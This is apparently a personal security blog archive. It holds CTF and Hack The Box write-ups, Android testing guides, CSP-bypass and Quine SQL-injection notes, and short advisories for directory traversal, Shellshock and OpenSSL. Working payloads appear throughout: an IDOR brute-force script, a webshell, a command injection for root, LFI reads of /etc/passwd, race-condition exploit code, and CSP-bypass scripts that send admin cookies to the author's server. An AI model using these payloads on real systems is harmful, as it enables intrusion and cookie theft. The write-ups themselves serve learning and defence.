Saturday, 28 August 2021

[HTB] Oopsie

I could see 2 opened ports which are port 22 and 80.

$ sudo nmap -PS -sS 10.10.10.28 -sC

Nmap scan report for 10.10.10.28
Host is up (0.68s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 2048 61:e4:3f:d4:1e:e2:b2:f1:0d:3c:ed:36:28:36:67:c7 (RSA)
| 256 24:1d:a4:17:d4:e3:2a:9c:90:5c:30:58:8f:60:77:8d (ECDSA)
|_ 256 78:03:0e:b4:a1:af:e5:c2:f9:8d:29:05:3e:29:c9:f2 (ED25519)
80/tcp open http
|_http-title: Welcome


There was not a login page, or no feature.


There was another directory with view-source.


I could found 2 important information.
1. /cdn-cgi/login/login.php
2. /uploads/

I should keep the 2nd directory information, it will be useful information later.

I could see a login page.

The account was admin and password was "MEGACORP_4dm1n!!". The password was from the previous box.

I could see some menus and my cookie. The cookie was "user=34322; role=admin".

The uploads menu showed an error message "This action require super admin rights".


So, I should gain the super admin right. I changed the user number of the cookie.

import requests
from bs4 import BeautifulSoup

def exp():
    host, port = "http://10.10.10.28", 80
    for i in range(86574, 100000):
        cookies = {
                "user":str(i),
                "role":"admin"
                }

        r = requests.get(host+"/cdn-cgi/login/admin.php?content=uploads", cookies=cookies)
        if "Authenticating" not in r.text:
            print(f"Found: {str(i)}")
            exit()

if __name__ == "__main__":
    exp()
  

I found the user number to access the uploads menu.

I generated a webshell using weevely.

There was a user account and password.


I could access the box with SSH with the robert's credentials. I got the user flag.

Next, I should gain a root permission. I looked forward other vulnerabilities.

After few mintues, I checked a suspicous group name "bugtracker".


I found the suspicous binary /usr/bin/bugtracker.
- find / -type f -group kali 2>/dev/null

It runs with root permission.

I got the root permission after I put ";/bin/sh".


END

Wednesday, 25 August 2021

Andorid Mobile App Assessment - Frida environment

This is how to implement test environment for Frida.

Below is my test environment for frida-server and frida-client:

|----------------------------------------------------------------------------------|

|    |-------------------------|            |------------------------------------|  |

|    | Android-Studio       |             | Ubuntu on VM Player           |  |

|    |           AVD              | <--->   | IP: 192.168.172.129 (NAT)    |  |

|    | IP: 10.0.2.2  (NAT) |            |------------------------------------|  |

|    |-------------------------|                                                             |

|                                                                                 Windows 10 |

|                                                                             192.168.1.101 |

|----------------------------------------------------------------------------------|


That's a simple test environment.

The frida-server is running on Android-Stuido AVD, and the frida-tools is running on the Ubuntu server.



Windows & AVD
1. copy the frida-server file to Android (/data/local/tmp).
1.1. adb.exe push /<your-path of frida-server file> /data/local/tmp/

2. go adb shell and run frida on AVD
2.1. adb shell; cd /data/local/tmp; chmod 755 ./frida-server; ./frida-server

Windows
3. adb forward port
3.1. .\adb.exe forward tcp:27042 tcp:27042
3.2. .\adb.exe forward tcp:27043 tcp:27043
3.3. then, it will forward the ports, but it listen for 127.0.0.1 only. 

4.Windws forward port
4.1. netsh interface portproxy add v4tov4 listenport=27044 listenaddress=0.0.0.0 connectport=27042 connectaddress=127.0.0.1
4.2. netsh interface portproxy add v4tov4 listenport=27045 listenaddress=0.0.0.0 connectport=27043 connectaddress=127.0.0.1
4.3. netsh interface portproxy show all
4.4. then, it will forward the ports, but it listen for 0.0.0.0.

---------------------------------------------------------------------------------------------------------------|
| |---------------------------|                                                                          |-------------|  |
| | listening 27042          | --- 127.0.0.1:27042 ---> | <--- 0.0.0.0:27044 ---  | frida-ps    |  |
| | listening 27043          | --- 127.0.0.1:27043 ---> | <--- 0.0.0.0:27045 ---  |                |  |
| |--------------AVD-------|                                                                            |--Ubuntu -|  |
|                                                                                                                                     |
|----------------------------------------------------------------------------------------Windows ----------|

Ubuntu
5. Connect to frida-server
5.1 frida-ps -H 192.168.1.101:27044


[Extra tips]
adb.exe logcat



Tuesday, 24 August 2021

corCTF - writeup for crypto/fibinary

It is a simple crypto chall. 

It provides below code and encrypted flag:

enc.py

fib = [1, 1]
for i in range(2, 11):
        fib.append(fib[i - 1] + fib[i - 2])

def c2f(c):
        n = ord(c)
        b = ''
        for i in range(10, -1, -1):
                if n >= fib[i]:
                        n -= fib[i]
                        b += '1'
                else:
                        b += '0'
        return b

flag = open('flag.txt', 'r').read()
enc = ''
for c in flag:
        enc += c2f(c) + ' '
with open('flag.enc', 'w') as f:
        f.write(enc.strip()) 

flag.enc

10000100100 10010000010 10010001010 10000100100 10010010010 10001000000 10100000000 10000100010 00101010000 10010010000 00101001010 10000101000 10000010010 00101010000 10010000000 10000101000 10000010010 10001000000 00101000100 10000100010 10010000100 00010101010 00101000100 00101000100 00101001010 10000101000 10100000100 00000100100  

I made simple brute-force code to decrypt the encrypted flag.

dec.py
fib = [1, 1]
for i in range(2, 11):
        fib.append(fib[i - 1] + fib[i - 2])

def c2f(c):
        n = ord(c)
        b = ''
        for i in range(10, -1, -1):
                if n >= fib[i]:
                        n -= fib[i]
                        b += '1'
                else:
                        b += '0'
        return b


flag_enc = open('flag.enc', 'r').read()

dec = ''
for flag_blk in flag_enc.split(' '):
    for c in range(0,127):
        if c2f(chr(c)) == flag_blk:
            dec += chr(c)
print(dec)


Flag:
corctf{b4s3d_4nd_f1bp!113d}

Friday, 23 July 2021

Quine sql Injection

What is Quine? let's refer to Wiki.

A quine is a computer program which takes no input and produces a copy of its own source code as its only output. The standard terms for these programs in the computability theory and computer science literature are self-replicating programs,self-reproducing programs, and self-copying programs

There is good example wargame problem which is ouroboros golf of Webhacking.kr.

Below is the problem code:
<?php
  include "../../config.php";
  login_chk();
  print_best_golfer(73);
  $db = dbconnect("ouroboros");
  if(preg_match("/\./i", $_GET['pw'])) exit("No Hack ~_~");
  $query = "select pw from prob_ouroboros where pw='{$_GET['pw']}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['pw']) echo "<h2>Pw : {$result['pw']}</h2>";
  if(($result['pw']) && ($result['pw'] === $_GET['pw'])){
    // !!THIS IS PAYLOAD GOLF CHALLENGE!!
    // My solution of ouroboros golf is 210byte.
    // If your solution is shorter than mine, you will get 5 point per 1 byte.
    $len = 210 - strlen($_GET['pw']);
    if($len > 0){
      solve(73,$len * 5);
    }
    else{
      echo "<h2>nice try :)</h2>";
    }
  }
  highlight_file(__FILE__);
?>

I should inject a SQL query, it will be $_GET['pw']. and the SQL query will run to DB, and return the result as per the code $result['pw'].

Next, the $reuslt['pw'] should be exist and same as my input. ($result['pw'] === $_GET['pw']).

Last, the payload should be less than 210 lengths.

Now, it sounds like time to make a Quine Generator for SQL. We can use replacement mothod, indirect ($) replacement method and union select.

We can pseudocode the simple replacement as follow:
'union+select+replace(replace('"union+select+replace(replace("$",char(34),char(39)),char(36),"$")as+a%23',char(34),char(39)),char(36),'"union+select+replace(replace("$",char(34),char(39)),char(36)"$")as+a%23')as+a%23

It makes same $result['pw'] and $_GET['pw']. You could reduce the length. For your Quine practice, I don't put a correct answer here.

END

Tuesday, 13 July 2021

Android Reverse Engineering and modifying apk.

When to conduct penetration tests about Android applications, this is a small piece to help you.

It is easy to decompile and repack android apps (apk). 

The following list describes some android terms:

  • Smali disassembled Java opcodes in textual format generated by baksmali, a DEX format disassembler

  • App Manifest: XML file that provides essential app information

Basic static analysis provides a general understanding of the mobile application's structure. the apktool can help to decompile the app's resources.

$apktool d -o ./sample sample.apk

The apk could contains meta information in AndroidManifest.xml file, and other files as per below:

  • AndroidManifest.xml
  • classes.dex
  • res/
  • lib/
  • META-INF

We could update source codes on in the disassembled class files (smali).

There are few methods to update smali files.
  • Manually add/edit/remove smali code. We should learn about smali code. This URL may be useful. In this case, JD GUI and jadx-gui are useful tools.
  • You build new android app with your android java code, and disassemble the apk to extract the smali code.

After update the smali code, you could build an updated apk using apktool.

$apktool b -o sample_new.apk ./sample

Next, we could create key and sign.

$keytool -genkey -v -keystore resign.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000  
 $jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore resign.keystore sample_new.apk alias_name  


If you know how to use smali language, you can modify apk much easier.


Reference:

1. OWASP MASVS - https://github.com/OWASP/owasp-masvs/releases/

Saturday, 24 April 2021

CSP bypass with wargame

What is Content-Security-Policy (CSP)?

Conent Security Policy (CSP) is an added security layer that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injectino attacks.

However, it could be unsafe if there is wrong CSP configuration.

Below is a sample unsafe scenarios with wargame probs.

#1. Bypass CSP script-src 'nonce-random'.

First prob, there is CSP with script-src 'nonce-random' in HTTP header.
HTTP/1.1 200 OK
Date: Fri, 23 Apr 2021 22:01:38 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Security-Policy: script-src 'nonce-uMiBg4W3wGgp8JQnJG2TL7WLGE8=';
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 133
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
I tried CSS brute-force attack to take the nonce-random value, however, it did not work. I looked again source code of the prob. There was loaded internal script file "script.js" as per below:
<h2>you can inject anything</h2>
<div id="injected">
foo
</div>
<script nonce="" src="/script.js" umibg4w3wggp8jqnjg2tl7wlge8=""></script>
Yes! now I have a chance to load the script.js file from my server using <base> tag. It is because the CSP does not include base-uri.

I can steal an admin cookie with this Payload:
<base href='http://[my server IP]/'>

script.js in my server
location.href='http://[my server IP]'+cookie;

#2. Bypass CSP script-src "https://*.google.com"

Secode prob, there is CSP with script-src 'https://*.google.com'.

HTTP/1.1 200 OK
Date: Fri, 23 Apr 2021 22:52:02 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Security-Policy: script-src https://*.google.com/;
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 90
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
It allowed only google. Many websites use Google's API a lot. And Google always overlooks being safe. This problem is probably the wrong CSP setting, which can be seen a lot.

I bypassed this CSP with this payload:
<script src=https://accounts.google.com/o/oauth2/revoke?callback=var/**/a%3d%27http://[my server ip]%27;location.replace(a%252bcookie);></script>
As the payload, this vulnerability is using json callback on google.com.

How to mitigate this problem? It could solve to allow specific url for CSP. For example, script-src https://apis.google.com

~ kerz

Reference:
Conent Security Policy (CSP): https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
Secure CSP: https://developers.google.com/web/fundamentals/security/csp

Tuesday, 7 January 2020

WhiteHat Grand Prix 06 – Quals, CTF writeup, Web Security 1






In the task, I got a website with register, login, logout forms. The web site redirected to:

  • http://15.165.80.50/?page=login 
  • http://15.165.80.50/?page=logout 

After a while I figured out that the page parameter's value was vulnerable, which I was able to read local files using php wrapper LFI. For example:

  • http://15.165.80.50/?page=php://filter/convert.base64-encode/resource=/etc/passwd 

I used the above payload to read the website's files such as index.php, however, it did not work. I wasted my time guessing the path and file name of the web files and a flag.

I checked some files to gain some information in /proc and other directories. The flag was in /proc/1/cmdline.

$ curl http://15.165.80.50/?page=php://filter/convert.base64-encode/resource=/proc/1/cmdline -o a.txt
$ cat a.txt

<!DOCTYPE html>
<html lang="en">
<head>
<title>My Viet Nam</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.0/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.0/js/bootstrap.min.js"></script>
<style type="text/css">
body{ font: 14px sans-serif; }
.wrapper{ width: 350px; padding: 20px; }
</style>
</head>
<body>

<nav class="navbar navbar-inverse">
<div class="container-fluid">
<div class="navbar-header">
<a class="navbar-brand" href="/">My Viet Nam</a>
</div>

<ul class="nav navbar-nav">
<li class="active"><a href="/">Home</a></li>
</ul>
<ul class="nav navbar-nav navbar-right">
<li><a href="?page=register"><span class="glyphicon glyphicon-user"></span> Register</a></li>
<ll><a href="?page=login"><span class="glyphicon glyphicon-log-in"></span> Login</a></li>
</ul>
</div>
</nav>/bin/bash/bin/start_service WhiteHat{Local_File_Inclusion_bad_enough_??}

The flag was WhiteHat{Local_File_Inclusion_bad_enough_??}.


Monday, 15 April 2019

PlaidCTF 2019 - Triggered (Web)

I was not able to solve this problem on the contest time. Someone posted hint on Twitter Link#, I solved as per his poster, but he did not post with detail information. Therefore, I wrote code and found a flag as per below:

Problem Description

Triggered - Web (280 pts)

I stared into the abyss of microservices, and it stared back. I found something utterly terrifying about the chaos of connections.

"Screw this," I finally declared, "why have multiple services when the database can do everything just fine on its own?"

And so on that glorious day it came to be that everything ran in plpgsql.

 Write up

Below codes should run at same time due to race condition exploit.

First Code:
1:  import requests  
2:    
3:  def request_post(url, cookies, data):  
4:    r = requests.post(url, cookies=cookies, data=data)  
5:    if r.url == "http://triggered.pwni.ng:52856/search":  
6:      if "Hey there, admin" in r.text:  
7:        print r.text  
8:        print "[-] Result: Found out!"  
9:        exit()  
10:    return r  
11:    
12:  def signin():  
13:    #signin  
14:    data = {'username':'searchtheflag'}  
15:    url = "http://triggered.pwni.ng:52856/login"  
16:    request_post(url, cookies, data)  
17:    data = {'password':'test'}  
18:    url = "http://triggered.pwni.ng:52856/login/password"  
19:    request_post(url, cookies, data)  
20:    print "[-] Sign-in: Okay"  
21:    
22:  if __name__ == "__main__":  
23:    cookies = {  
24:    'session': "5f129555-dafb-4feb-b1c6-472d260a8d3b"  
25:    }  
26:    signin()  
27:    while True:  
28:      #searchflag  
29:      data = {'query':'flag'}  
30:      url = "http://triggered.pwni.ng:52856/search"  
31:      r = request_post(url, cookies, data)  
32:      print "[-] Search: in progress"  
33:      if (r.url == "http://triggered.pwni.ng:52856/login"):  
34:        signin()  
35:          

Second Code:
1:  import requests, time  
2:    
3:  def request_post(url, cookies, data):  
4:    r = requests.post(url, cookies=cookies, data=data)  
5:    return r  
6:    
7:  def signin_admin(cookies):  
8:    data = {'username':'admin'}  
9:    url = 'http://triggered.pwni.ng:52856/login'  
10:    request_post(url, cookies, data)  
11:    
12:  if __name__ == "__main__":  
13:    cookies = {  
14:      'session': "5f129555-dafb-4feb-b1c6-472d260a8d3b"  #your session
15:    }  
16:    while True:  
17:      signin_admin(cookies)  
18: 

Result & Flag:


1:  [-] Sign-in: Okay  
2:  [-] Search: in progress  
3:  [-] Search: in progress  
4:  [-] Search: in progress  
5:  [-] Search: in progress  
6:  [-] Search: in progress  
7:  [-] Search: in progress  
8:  [-] Search: in progress  
9:  [-] Search: in progress  
10:  [-] Search: in progress  
11:  [-] Search: in progress  
12:  [-] Search: in progress  
13:  [-] Sign-in: Okay  
14:  [-] Search: in progress  
15:  [-] Sign-in: Okay  
16:  [-] Search: in progress  
17:  [-] Sign-in: Okay  
18:  [-] Search: in progress  
19:  [-] Sign-in: Okay  
20:  [-] Search: in progress  
21:  [-] Sign-in: Okay  
22:  [-] Search: in progress  
23:  [-] Sign-in: Okay  
24:  [-] Search: in progress  
25:  [-] Sign-in: Okay  
26:  [-] Search: in progress  
27:  [-] Sign-in: Okay  
28:  [-] Search: in progress  
29:  [-] Sign-in: Okay  
30:  [-] Search: in progress  
31:  [-] Sign-in: Okay  
32:  [-] Search: in progress  
33:  [-] Sign-in: Okay  
34:  [-] Search: in progress  
35:  [-] Sign-in: Okay  
36:  [-] Search: in progress  
37:  [-] Sign-in: Okay  
38:  [-] Search: in progress  
39:  [-] Sign-in: Okay  
40:  [-] Search: in progress  
41:  [-] Sign-in: Okay  
42:  [-] Search: in progress  
43:  [-] Sign-in: Okay  
44:  [-] Search: in progress  
45:  [-] Sign-in: Okay  
46:  [-] Search: in progress  
47:  [-] Sign-in: Okay  
48:  [-] Search: in progress  
49:  [-] Sign-in: Okay  
50:  [-] Search: in progress  
51:  [-] Sign-in: Okay  
52:  [-] Search: in progress  
53:  [-] Sign-in: Okay  
54:  <html>  
55:  <head>  
56:      <link rel="stylesheet" href="/static/styles.css" />  
57:      <link href="https://fonts.googleapis.com/css?family=Playfair+Display:400,400i,700,700i,900,900i" rel="stylesheet">  
58:  </head>  
59:  <body>  
60:      <header>  
61:          <a href="/" class="left">  
62:              <h1>pgNotes</h1>  
63:              <h2>Let's keep it PG, ok?</h2>  
64:          </a>  
65:          <div class="right">  
66:    
67:                  <nav>  
68:                      <div class="welcome">Hey there, admin</div>  
69:                      &middot;  
70:                      <a href="/search">Search notes</a>  
71:                      &middot;  
72:                      <a href="/note/new">New note</a>  
73:                      &middot;  
74:                      <a href="/logout">Logout</a>  
75:                  </nav>  
76:    
77:          </div>  
78:      </header>  
79:      <main>  
80:  <section class="search-input">  
81:      <h3>Search</h3>  
82:      <form method="POST" action="/search">  
83:          <div class="input">  
84:              <label>Query</label>  
85:              <input type="text" name="query" />  
86:          </div>  
87:          <div class="input submit">  
88:              <input type="submit" />  
89:          </div>  
90:      </form>  
91:  </section>  
92:    
93:      <section class="search-query">  
94:          Results for <span class="query">flag</span>  
95:      </section>  
96:    
97:    
98:              <section class="note">  
99:      <section class="header">  
100:          <h4>Flag</h4>  
101:          <div class="author">admin</div>  
102:          <div class="date">02:44pm on April   13, 2019</div>  
103:      </section>  
104:      <section class="content">  
105:          <p>  
106:              PCTF{i_rAt3_p0sTgRE5_1O_oUT_0f_14_pH_n3ed5_m0Re_4Cid}  
107:          </p>  
108:      </section>  
109:  </section>  
110:    
111:              <section class="note">  
112:      <section class="header">  
113:          <h4>flag</h4>  
114:          <div class="author">admin</div>  
115:          <div class="date">08:11am on April   14, 2019</div>  
116:      </section>  
117:      <section class="content">  
118:          <p>  
119:              PCTF{cr4zy_70_m4k3_w3b_4ppl1c4710n_w17h_plp65ql}  
120:          </p>  
121:      </section>  
122:  </section>  
123:    
124:              <section class="note">  
125:      <section class="header">  
126:          <h4>flag</h4>  
127:          <div class="author">admin</div>  
128:          <div class="date">04:51pm on April   14, 2019</div>  
129:      </section>  
130:      <section class="content">  
131:          <p>  
132:              PCTF{PsQl_w3bs3rv3rf0rh1pst3r_l0l}  
133:          </p>  
134:      </section>  
135:  </section>  
136:    
137:              <section class="note">  
138:      <section class="header">  
139:          <h4>Flag</h4>  
140:          <div class="author">admin</div>  
141:          <div class="date">06:55pm on April   14, 2019</div>  
142:      </section>  
143:      <section class="content">  
144:          <p>  
145:              PCTF{pGn0Te2_Lets_k22P_1t_PG_oK}  
146:          </p>  
147:      </section>  
148:  </section>  
149:    
150:    
151:    
152:      </main>  
153:  </body>  
154:  </html>  
155:  [-] Result: Found out!  

Thanks @gP4yload

Tuesday, 7 March 2017

Apache Struts2 (cve-2017-5638)

Becareful new Vulnerability Apach Struts2 (Cve-2017-5638).

How to Fix: upgrade to Struts 2.3.32 or Struts 2.5.10.1
Affected Version: Struts 2.3.5 - 2.3.31, Struts 2.5 - 2.5.10


POC:
https://github.com/tengzhangchao/Struts2_045-Poc 

Thursday, 9 June 2016

RESPONSIVE filemanager <= 9.10.2 - Directory Traversal

RESPONSIVE filemanager <= 9.10.2 - Directory Traversal

Advisory: Directory Traversal in RESPONSIVE filemanager on Window Server

During a penetration test discovered a directory traversal vulnerability
in RESPONSIVE filemanager. Attackers are able to read arbitrary directory by specifying a
relative path.

Details
=======

Product: DRESPONSIVE filemanager
Affected Versions: RESPONSIVE filemanager v9.10.2
Fixed Versions: Not yet
Vulnerability Type: Directory Traversal
Vendor URL:
    http://www.responsivefilemanager.com/
Software Link:
    https://github.com/trippo/ResponsiveFilemanager/releases/download/v9.10.2/responsive_filemanager.zip
Vendor Status: fixed version released
Advisory URL: http://hacktizen.blogspot.com/2016/06/responsive-filemanager-9102-directory.html
Tested on: WINDOW SERVER
CVE: CVE-2014-2575
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2575

Attack Detail
[URL]/filemanager/dialog.php?editor=tinymce&type=&lang=&popup=0&field_id=&relative_url=0&akey=key&fldr=..\
fldr=..\..\..\

Monday, 14 March 2016

CODEGATE 2016: JS_is_not_a_jail

JS_is_not_a_jail
nc 175.119.158.131 1129

After connect the server, I try to "quit()" command.
It was occurred a error with the file path "/home/codegate/cg.js"

I can use a read() feature to read the code.

read('/home/codegate/cg.js')


FLAG:
easy xD, get a more hardest challenge!


Monday, 22 February 2016

Internetwache 2016 EXP50 Writeup



When I access the server ;188.166.133.53:12037.
It shows "Let me count the ascii values of 10 characters:".
I just input some text such as "test", Then it shows an error as below:
"WRONG!!!! Only 10 characters matching /^[a-f]{10}$/ !"

The Ruby has a vulnerability of regex. I code to get a Flag.

 import socket  
   
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
 s.connect(('188.166.133.53', 12037))  
   
 print s.recv(1024)  
 print s.recv(1024)  
 s.send('ls\naaaaaaaaaa')  
 print s.recv(1024)  
 s.close()  
   

Then, the server returns as below:

$ python test.py
Let me count the ascii values of 10 characters:


Sum is: 1203
IW{RUBY_R3G3X_F41L}


FLAG:
IW{RUBY_R3G3X_F41L}

Reference:
http://sakurity.com/blog/2015/06/04/mongo_ruby_regexp.html

Wednesday, 13 January 2016

List of all the security conference in 2015 (or older)

Reference: https://www.reddit.com/r/netsec/comments/40i06f/i_put_together_a_list_of_all_the_security/

1. Security Conferences from 2015
https://www.tunnelsup.com/online-security-conferences/

2. NorthSec, Montreal, Canada
https://www.youtube.com/playlist?list=PLuUtcRxSUZUpQAa54H6PKkfX6A48ruzhh

3. 32C3
https://www.youtube.com/playlist?list=PL_IxoDz1Nq2YahR4DU9q5GWsSTle-mETW

4. PS4 Booting and running Linux
https://www.youtube.com/watch?v=PQFNnr6Ly9M

5. Metcalf - Modern Active Directory Attacks (Blackhat usa 2015)
https://www.youtube.com/watch?v=b6GUXerE9Ac&list=PLH15HpR5qRsXF78lrpWP2JKpPJs_AFnD7&index=42

6. Rob Fuller - Basic Security
ttps://www.youtube.com/watch?v=TqbGNFfl1d8

7. SteelCon (Sheffield, UK, July 3-5 2015)
https://www.youtube.com/playlist?list=PLmfJypsykTLX9mDeChQ7fovybwYzQgr6j

8. ekoparty 2015
ttps://vimeo.com/album/3682874

9. OWASP AppSec EU and CA
https://www.youtube.com/playlist?list=PLpr-xdpM8wG93dG_L9QKs0W1cD-esQEzU

10. Crypto 2015
https://m.youtube.com/playlist?list=PLeeS-3Ml-rpoNWewUnljPP7QN4USn4c7H
http://www.iacr.org/conferences/crypto2015/

11. BSides Orlando (- April 11 – 12, 2015 -)
https://www.youtube.com/playlist?list=PLu1bAtIWt2VbXiy4kNWdtVkWiRWvPoeD6

12. BruCON as well (26-27 October)
https://www.youtube.com/user/brucontalks

13. USENIX Security '15
https://www.youtube.com/playlist?list=PLbRoZ5Rrl5lfeRixThHzgGYj1wu80JOh3

14. Brucon (Belgium)
https://www.youtube.com/playlist?list=PLtb1FJdVWjUfZ9fWxPPCrOO7LUquB3WrB

15. CERT.pl's Secure 2015
https://www.youtube.com/playlist?list=PLghf5UNZbzG0zLarfwpw4PxPTS0IWo8vB

16. CornCon
https://www.youtube.com/channel/UCP2fm3Wg8LacmD96N7CkOBA/videos?sort=dd&view=0&shelf_id=0

17. BSides Charleston
https://www.youtube.com/user/bsideschs/videos

18. SaintCON 2015 at Weber State University in Ogden UT
https://www.youtube.com/channel/UCEiHGeWgdIoLCzTLm_izCoQ

19. BSidesSLC that will be in Salt Lake City 2016
https://www.youtube.com/channel/UCuJ0qrx-oNq2hxrUX5IYd9A

20. syscan
https://www.youtube.com/channel/UCx5hZiie0VzFvV-u376v7DQ

21. Brocon 2015
https://www.youtube.com/playlist?list=PL2EYTX8UVCMhwxWH1IklKkV64YX_0Xcoo

22. CarolinaCon
https://www.youtube.com/user/CarolinaConVideos/videos

23. Bsides Lisbon 2015
https://www.youtube.com/channel/UC_M0dk4dvcBr_rFgi710D4Q

Wednesday, 26 August 2015

Python EML file viewer (simple version)

Sometimes, employees passes eml file to me for a reference or etc.
Unfortunately, I don't have an eml viewer....

So I just coded simply convert from eml file to html for only plain/text and that is in the base64.
When I searched python module for an eml converter, I am able to find out the "email" module.
But I need only simple version. :)

I hope it is helping your working. :)



 import re, base64  
   
 filename = "./1.eml"  
   
 num_lines = sum(1 for line in open(filename))  
   
 S = ""  
 with open(filename, "r") as f:  
   for i in range(0, num_lines-1):  
     if (re.findall("Content-Type: ", f.readline())):  
       i = i + 2  
       f.readline()  
       #print (f.readline())  
       if(re.findall("Content-Transfer-Encoding: base64", f.readline())):  
         f.readline()  
         while(1):  
           tmp = f.readline()+f.readline()  
           if (re.findall("\n\n", tmp)):  
             break  
           S = S+tmp  
 with open(filename+"_convert.html", "w") as con_f:  
   con_f.write("<b>CONVERT: ONLY PLAIN/TEXT</b><br /><br />\n")  
   con_f.write(base64.b64decode(S))  
   

Wednesday, 12 November 2014

Telerik File Explorer Directory Traversal

# Exploit Title: Telerik FileExplorer Directory Traversal
# Date: 12/11/2014
# Exploit Author: Kerz
# Vendor Homepage: www.telerik.com
# Software Link: http://www.telerik.com/products/aspnet-ajax.aspx
# Version: Q3 2014
# Tested on: Windows OS
# CVE: None

The malicuious user sends a malformed request that generates the file access up directories as follows:

http://target_URL/FileExplorer.aspx
[POST Data]
&__CALLBACKPARAM -> "path":"../../"

Thanks

Thursday, 23 October 2014

Shellshock

Shellshock, also known as Bashdoor, is a family of security bugs in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.

Point of the vulnerability: ':() { :; };'


How to fix

CentOS, Ubuntu, Linux systems

[yum]
yum update bash -y

[apt-get]
apt-get update; apt-get install --only-upgrade bash

[pacman]
pacman -Syu

OS X

[Brew]
brew update
brew install bash
sudo sh -c 'echo "/usr/local/bin/bash" >> /etc/shells'
chsh -s /usr/local/bin/bash
sudo mv /bin/bash /bin/bash-backup
sudo ln -s /usr/local/bin/bash /bin/bash

[MacPorts]
sudo port selfupdate
sudo port upgrade bash


Reference:
[gry/shellshock-scanner]
https://github.com/gry/shellshock-scanner
https://github.com/gry/shellshock-scanner/blob/master/shellshock_scanner.py

https://shellshocker.net/

Friday, 13 June 2014

OpenSSL CCS Inject - TEST

A OpenSSL has many vulnerabilities currently.

Vulnerabilities:

CVE-2014-0224 (MitM)

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCipherSpec messages, which allows man-in-the-middle attackers to trigger use of a zero-length master key in certain OpenSSL-to-OpenSSL communications, and consequently hijack sessions or obtain sensitive information, via a crafted TLS handshake, aka the "CCS Injection" vulnerability.

CVE-2014-0221 (DoS)

The dtls1_get_message_fragment function in d1_both.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h allows remote attackers to cause a denial of service (recursion and client crash) via a DTLS hello message in an invalid DTLS handshake.

CVE-2014-0195 (Remote Execute Code)

The dtls1_reassemble_fragment function in d1_both.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly validate fragment lengths in DTLS ClientHello messages, which allows remote attackers to execute arbitrary code or cause a denial of service (buffer overflow and application crash) via a long non-initial fragment.

CVE-2014-0198 (Remote Execute Code)
The do_ssl3_write function in s3_pkt.c in OpenSSL 1.x through 1.0.1g, when SSL_MODE_RELEASE_BUFFERS is enabled, does not properly manage a buffer pointer during certain recursive calls, which allows remote attackers to cause a denial of service (NULL pointer dereference and application crash) via vectors that trigger an alert condition.

CVE-2010-5298 (Inject data, DoS)

Race condition in the ssl3_read_bytes function in s3_pkt.c in OpenSSL through 1.0.1g, when SSL_MODE_RELEASE_BUFFERS is enabled, allows remote attackers to inject data across sessions or cause a denial of service (use-after-free and parsing error) via an SSL connection in a multithreaded environment.

CVE-2014-3470 (DoS)

The ssl3_send_client_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h, when an anonymous ECDH cipher suite is used, allows remote attackers to cause a denial of service (NULL pointer dereference and client crash) by triggering a NULL certificate value.

Affected Versions:

OpenSSL 0.9.8 DTLS
OpenSSL 1.0.0 DTLS
OpenSSL 1.0.1 DTLS

Upgrade to:

0.9.8za Version
1.0.0m Version
1.0.1h Version

You could test your OpenSSL that has vulnerabilities.

Python code (CCS inject detection, test):
 #!/bin/python  
   
 import sys  
 import socket  
 import time  
 import struct  
   
 if len(sys.argv)<2:  
   print "Tripwire VERT CVE-2014-0224 Detection Tool (OpenSSL Change Cipher Spec Injection) v0.2 by Tripwire VERT (@TripwireVERT)\nUsage: %s <host> [port=443]" % (sys.argv[0])  
   quit()  
 else:  
   strHost = sys.argv[1]  
   if len(sys.argv)>2:  
     try:  
       iPort = int(sys.argv[2])  
     except:  
       print "Tripwire VERT CVE-2014-0224 Detection Tool (OpenSSL Change Cipher Spec Injection) v0.2\nUsage: %s <host> [port=443]" % (sys.argv[0])  
       quit()  
   else:  
     iPort = 443  
   
 print "***CVE-2014-0224 Detection Tool v0.2***\nBrought to you by Tripwire VERT (@TripwireVERT)"  
       
 dSSL = {  
   "SSLv3" : "\x03\x00",  
   "TLSv1" : "\x03\x01",  
   "TLSv1.1" : "\x03\x02",  
   "TLSv1.2" : "\x03\x03",  
 }  
   
 # The following is a complete list of ciphers for the SSLv3 family up to TLSv1.2  
 ssl3_cipher = dict()  
 ssl3_cipher['\x00\x00'] = "TLS_NULL_WITH_NULL_NULL"  
 ssl3_cipher['\x00\x01'] = "TLS_RSA_WITH_NULL_MD5"  
 ssl3_cipher['\x00\x02'] = "TLS_RSA_WITH_NULL_SHA"  
 ssl3_cipher['\x00\x03'] = "TLS_RSA_EXPORT_WITH_RC4_40_MD5"  
